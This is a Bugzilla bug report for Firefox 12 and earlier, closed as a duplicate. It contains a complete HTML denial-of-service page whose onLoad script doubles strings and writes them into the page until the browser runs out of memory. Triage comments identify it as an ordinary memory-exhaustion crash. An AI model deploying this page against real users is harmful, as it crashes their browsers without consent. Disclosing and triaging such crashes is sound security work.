Closed
Bug 752227
Opened 12 years ago
Closed 12 years ago
Mozilla Firefox <=12.0 Denial Of Service Exploit
Categories
(Firefox :: Untriaged, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 736868
People
(Reporter: ni-_-_-_-_maarek, Unassigned)
Details
Attachments
(1 file)
|
929 bytes,
text/plain
|
Details |
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.168 Safari/535.19
Steps to reproduce:
save this file to html and run with ff
<html>
<title>FF go away :)</title>
<head>
<script>
function FTB()
{
var A1 = unescape("%u4141%u4141");
var A2 = unescape("%u4242%u4242");
var A3 = unescape("%u4343%u4343");
var A4 = unescape("%u4444%u4444");
for(i=0; i <= 1000 ; ++i)
{
A1+=A1;
A2+=A2;
A3+=A3;
A4+=A4;
document.write(A1);
document.write(A2);
document.write(A3);
document.write(A4);
}
document.write(A1);
document.write(A2);
document.write(A3);
document.write(A4);
}
</script>
</head>
<body onLoad="FTB()">
</body>
</html>
Actual results:
crash ff
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Comment 1•12 years ago
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This looks like a typical memory-exhaustion script. Create a string; then double its length, add it to the document, and repeat.... sure, you'll exhaust available memory before long. Is there any reason to suspect there's something other than a simple out-of-memory crash here?
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Comment 2•12 years ago
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it's not even original - see bug 736868
Status: UNCONFIRMED → RESOLVED
Closed: 12 years ago
Resolution: --- → DUPLICATE
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Description
•